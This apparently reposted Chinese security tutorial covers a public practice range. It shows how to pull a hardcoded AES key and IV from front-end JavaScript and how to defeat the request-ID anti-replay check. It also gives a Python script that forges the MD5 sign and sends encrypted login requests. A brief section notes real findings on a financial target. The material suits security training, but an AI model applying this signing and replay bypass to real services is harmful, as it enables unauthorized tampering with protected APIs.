高温暑热送清凉
HOT WEATHER COOL
0x01靶场-AES
偶然刷推发现一个加密解密靶场https://github.com/0ctDay/encrypt-decrypt-vuls/tree/master,正好对AES加密解密和sign签名的自动生成做一个记录。
访问首页http://39.98.108.20:8085/#/login,打开调试工具查看js。
通过在js搜索关键字"encrypt"找到加密解密代码
通过代码可知加密方式为AES算法,CBC模式,补码方式采用PKCS7Padding,key和iv都为1234567891234567
通过抓取请求包获取加密内容
使用上述获得加密方式对加密内容进行解密
可以发现解密成功获得原始json数据
0x02 靶场-sign通过对请求体加密解密后发现数据包存在sign和防重放限制,修改请求内容就会提示RequestId 非法
RequestId 为了防止重放攻击, 客户端生成随机RequestId 服务端接收后保存至Redis中, 如果再次接收到此RequestID, 则视为非法请求,在js中RequestId 生成方法
其实我们只需要每一次请求的ID和上一次不一样就行
修改过后,发现提示签名过期,那么需要知道sign是怎么来的,通过在浏览器中调试可以获取到sign的构造逻辑
签名为requestId + 原始请求体 + 时间戳 合并再进行md5
通过上述内容可以编写python脚本达到自动加密json,自动生成RequestId,时间戳和Sign签名
import time
import json
import requests
import hashlib
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import base64
base64_encoded_iv = "MTIzNDU2Nzg5MTIzNDU2Nw==" # 1234567891234567
def md5_encrypt(text):
md5_obj = hashlib.md5()
md5_obj.update(text.encode('utf-8'))
encrypt_text = md5_obj.hexdigest()
return encrypt_text
def generate_requestId():
t = "0123456789abcdef"
e = [random.choice(t) for _ in range(32)]
e[14] = "4"
e[19] = t[3 & int(e[19], 16) | 8]
e[8] = e[13] = e[18] = e[23]
return "".join(e)
headers = {
'Accept': 'application/json, text/plain, */*',
'Content-Type': 'application/json;charset=UTF-8',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
'X-Requested-With': 'XMLHttpRequest',
}
def aes_encrypt(key, data):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
padded_data = pad(data.encode(), AES.block_size)
encrypted_data = cipher.encrypt(padded_data)
encrypted_data_with_iv = base64.b64encode(iv + encrypted_data)
return encrypted_data_with_iv.decode('utf-8')
def encrypt(plain_text, base64_encoded_key="MTIzNDU2Nzg5MTIzNDU2Nw=="):
try:
# 解码密钥
decoded_key = base64.b64decode(base64_encoded_key)
key_spec = AES.new(decoded_key, AES.MODE_CBC, base64.b64decode(base64_encoded_iv))
# 加密
padded_text = pad(plain_text.encode("utf-8"), AES.block_size)
encrypted_bytes = key_spec.encrypt(padded_text)
# 将加密后的字节数组和 Base64 编码的初始化向量一起返回
return base64.b64encode(encrypted_bytes).decode("utf-8")
except Exception as e:
print(e)
return None
if __name__ == '__main__':
data = {
"password": "admin",
"username": "admin",
"validCode": "fx9n"
}
jsondata = json.dumps(data)
jsondata = jsondata.replace(" ", "")
requestId = generate_requestId()
headers["requestId"] = requestId
print(requestId)
# 时间戳
timestamp = int(time.time() * 1000)
headers["timestamp"] = str(timestamp)
print(timestamp)
sign = jsondata + requestId + str(timestamp)
headers["sign"] = md5_encrypt(sign)
print(sign)
# send_data = aes_encrypt(b'1234567891234567', jsondata)
send_data = encrypt(jsondata)
print(send_data)
resp = requests.post('http://39.98.108.20:8085/api/user/login', headers=headers, data=str(send_data),proxies={'http': 'http://127.0.0.1:8080'})
print(resp.text)
0x03 实战-AES在某金融众测项目中,发现存在请求返回都为加密
通过js调试可以在控制台调用进行加密解密,可以发现若干逻辑漏洞
扫描二维码获取
更多精彩
扶楹教育
原文始发于微信公众号(JOY的安全屋):漏洞8k?来学JS加解密
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论